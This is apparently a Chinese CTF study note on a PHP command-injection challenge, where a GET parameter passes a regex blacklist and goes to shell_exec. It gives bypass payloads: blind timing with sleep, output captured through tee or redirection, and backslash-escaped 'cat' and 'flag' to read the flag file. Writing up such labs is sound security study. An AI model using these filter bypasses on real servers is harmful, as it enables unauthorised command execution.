RCE-PLUS (学习记录)

源码

复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
    if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
        return($cmd);
    }
    else{
        die("i hate this");      
      }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

过滤了很多东西,但是空格什么的没过滤

发现是用shell_exec()无回显的命令执行,所以把文件写入txt看结果

判断指令
复制代码
?cmd=ls / | sleep 5
把回显输入文本文件

两种方法

复制代码
?cmd=ls / | tee 1.txt
?cmd=ls / > tee 1.txt

直接访问

绕过对cat和flag的过滤
复制代码
?cmd=c\at /fl\ag | tee 2.txt
?cmd=c\at /fl\ag > tee 2.txt

总结

无回显RCE

WAF绕过

相关推荐
Irene19911 天前
WSL 切换磁盘后验证完整性(MobaXterm、Powershell、WSL 的区别)
linux·wsl·mobaxterm
kyriewen1 天前
我关掉了Copilot:因为我写的代码出现在了别人的建议里
前端·javascript·ai编程
摇滚侠1 天前
Java 零基础全套教程,反射机制,笔记 187-188
java·开发语言·笔记
超梦dasgg1 天前
Java 生产环境第三方对接安全保障方案
java·开发语言·安全
欧雷殿1 天前
从「吸引子引导工程」看我的「一人公司」实践
前端·人工智能·后端
wordbaby1 天前
React Native + RNOH:一个 `lazyScreen()` 搞定 48 页面启动懒加载
前端·react native
扛枪的书生1 天前
Keepalived 学习总结
linux
❀搜不到1 天前
Ubuntu查看指定Python程序的CPU、GPU、内存占用情况
linux·python·ubuntu
竹林8181 天前
用 wagmi v2 踩坑两天,我终于搞懂了多链钱包切换
前端·javascript